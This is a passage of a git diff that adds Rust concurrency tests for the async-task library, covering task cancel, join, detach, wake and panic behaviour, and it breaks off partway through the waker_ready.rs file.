assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + drop(task); + }) + .run(); +} + +#[test] +fn detach_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + }) + .run(); +} diff --git a/lib/malio/async-task/tests/ready.rs b/lib/malio/async-task/tests/ready.rs new file mode 100644 index 0000000..aefb36e --- /dev/null +++ b/lib/malio/async-task/tests/ready.rs @@ -0,0 +1,225 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP_F, DROP_T)` +// +// The future `f` sleeps for 200 ms and outputs `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP_F` is incremented. +// When the output gets dropped, `DROP_T` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop_f:ident, $drop_t:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop_f: AtomicUsize = AtomicUsize::new(0); + static $drop_t: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Out; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + Poll::Ready(Out(Box::new(0), true)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop_f.fetch_add(1, Ordering::SeqCst); + } + } + + #[derive(Default)] + struct Out(#[allow(dead_code)] Box, bool); + + impl Drop for Out { + fn drop(&mut self) { + if self.1 { + $drop_t.fetch_add(1, Ordering::SeqCst); + } + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |_runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn cancel_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn join_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + future::block_on(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + drop(task); + }) + .run(); +} + +#[test] +fn detach_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + }) + .run(); +} diff --git a/lib/malio/async-task/tests/waker_panic.rs b/lib/malio/async-task/tests/waker_panic.rs new file mode 100644 index 0000000..5b54f9d --- /dev/null +++ b/lib/malio/async-task/tests/waker_panic.rs @@ -0,0 +1,330 @@ +use std::cell::Cell; +use std::future::Future; +use std::panic::{catch_unwind, AssertUnwindSafe}; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use atomic_waker::AtomicWaker; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, get_waker, POLL, DROP)` +// +// The future `f` always sleeps for 200 ms, and panics the second time it is polled. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Every time the future is run, it stores the waker into a global variable. +// This waker can be extracted using the `get_waker()` function. +macro_rules! future { + ($name:pat, $get_waker:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + static WAKER: AtomicWaker = AtomicWaker::new(); + + let ($name, $get_waker) = { + struct Fut(Cell, #[allow(dead_code)] Box); + + impl Future for Fut { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + WAKER.register(cx.waker()); + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + + if self.0.get() { + panic!() + } else { + self.0.set(true); + Poll::Pending + } + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + (Fut(Cell::new(false), Box::new(0)), || WAKER.take().unwrap()) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, chan, SCHED, DROP)` +// +// The schedule function `s` pushes the task into `chan`. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Receiver `chan` extracts the task when it is scheduled. +macro_rules! schedule { + ($name:pat, $chan:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let ($name, $chan) = { + let (s, r) = flume::unbounded(); + + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + let sched = move |runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + + (sched, r) + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +fn try_await(f: impl Future) -> Option { + future::block_on(future::poll_once(f)) +} + +#[test] +fn wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake(); + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn wake_and_cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[flaky_test::flaky_test] +fn cancel_and_wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + POLL.store(0, Ordering::SeqCst); + DROP_F.store(0, Ordering::SeqCst); + SCHEDULE.store(0, Ordering::SeqCst); + DROP_S.store(0, Ordering::SeqCst); + + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn panic_and_poll() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + get_waker().wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + let mut task = task; + assert!(try_await(&mut task).is_none()); + + let runnable = chan.recv().unwrap(); + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(AssertUnwindSafe(|| try_await(&mut task))).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(get_waker()); + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} diff --git a/lib/malio/async-task/tests/waker_pending.rs b/lib/malio/async-task/tests/waker_pending.rs new file mode 100644 index 0000000..ccd540b --- /dev/null +++ b/lib/malio/async-task/tests/waker_pending.rs @@ -0,0 +1,365 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use atomic_waker::AtomicWaker; +use easy_parallel::Parallel; + +// Creates a future with event counters. +// +// Usage: `future!(f, get_waker, POLL, DROP)` +// +// The future `f` always sleeps for 200 ms and returns `Poll::Pending`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Every time the future is run, it stores the waker into a global variable. +// This waker can be extracted using the `get_waker()` function. +macro_rules! future { + ($name:pat, $get_waker:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + static WAKER: AtomicWaker = AtomicWaker::new(); + + let ($name, $get_waker) = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = (); + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + WAKER.register(cx.waker()); + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + Poll::Pending + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + (Fut(Box::new(0)), || WAKER.take().unwrap()) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, chan, SCHED, DROP)` +// +// The schedule function `s` pushes the task into `chan`. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Receiver `chan` extracts the task when it is scheduled. +macro_rules! schedule { + ($name:pat, $chan:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let ($name, $chan) = { + let (s, r) = flume::unbounded(); + + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + let sched = move |runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + + (sched, r) + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, _task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 2); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake_by_ref(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 2); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + }) + .run(); + + chan.recv().unwrap(); + drop(get_waker()); +} + +#[test] +fn cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn wake_and_cancel_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn cancel_and_wake_during_run() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + waker.wake_by_ref(); + let runnable = chan.recv().unwrap(); + + Parallel::new() + .add(|| { + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + thread::sleep(ms(400)); + + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); + }) + .run(); +} + +#[test] +fn drop_last_waker() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + let waker = get_waker(); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(waker); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn cancel_last_task() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn drop_last_task() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + drop(get_waker()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 1); + + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} diff --git a/lib/malio/async-task/tests/waker_ready.rs b/lib/malio/async-task/tests/waker_ready.rs new file mode 100644 index 0000000..b6f6b5f --- /dev/null +++ b/lib/malio/async-task/tests/waker_ready.rs @@ -0,0 +1,279 @@ +use std::cell::Cell; +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use atomic_waker::AtomicWaker; + +// Creates a future with event counters. +// +// Usage: `future!(f, get_waker, POLL, DROP)` +// +// The future `f` always sleeps for 200 ms, and returns `Poll::Ready` 